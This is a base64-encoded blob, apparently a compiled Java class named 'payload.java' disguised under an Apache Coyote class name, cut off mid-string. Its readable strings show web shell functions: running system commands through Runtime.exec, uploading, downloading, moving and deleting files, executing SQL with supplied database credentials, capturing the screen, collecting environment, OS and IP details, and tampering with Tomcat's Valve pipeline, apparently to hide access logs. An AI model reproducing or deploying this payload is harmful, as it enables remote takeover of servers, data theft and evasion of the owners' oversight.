V3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAqb3JnL2FwYWNoZS9jb3lvdGUvaW50cm9zcGVjdC9Bbm5vdGF0aW9uTWFwAQAsTG9yZy9hcGFjaGUvY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGlvbk1hcDsAIQABAAMAAAATABkABQAGAAAAAAAHAAgAAAAAAAkACAAAAAAACgALAAAAAAAMAAsAAAAAAA0ACwAAAAAADgAPAAAAAAAQABEAAAAIABIAEwABABQAAAAAAAgAFQATAAEAFAAAAAAACA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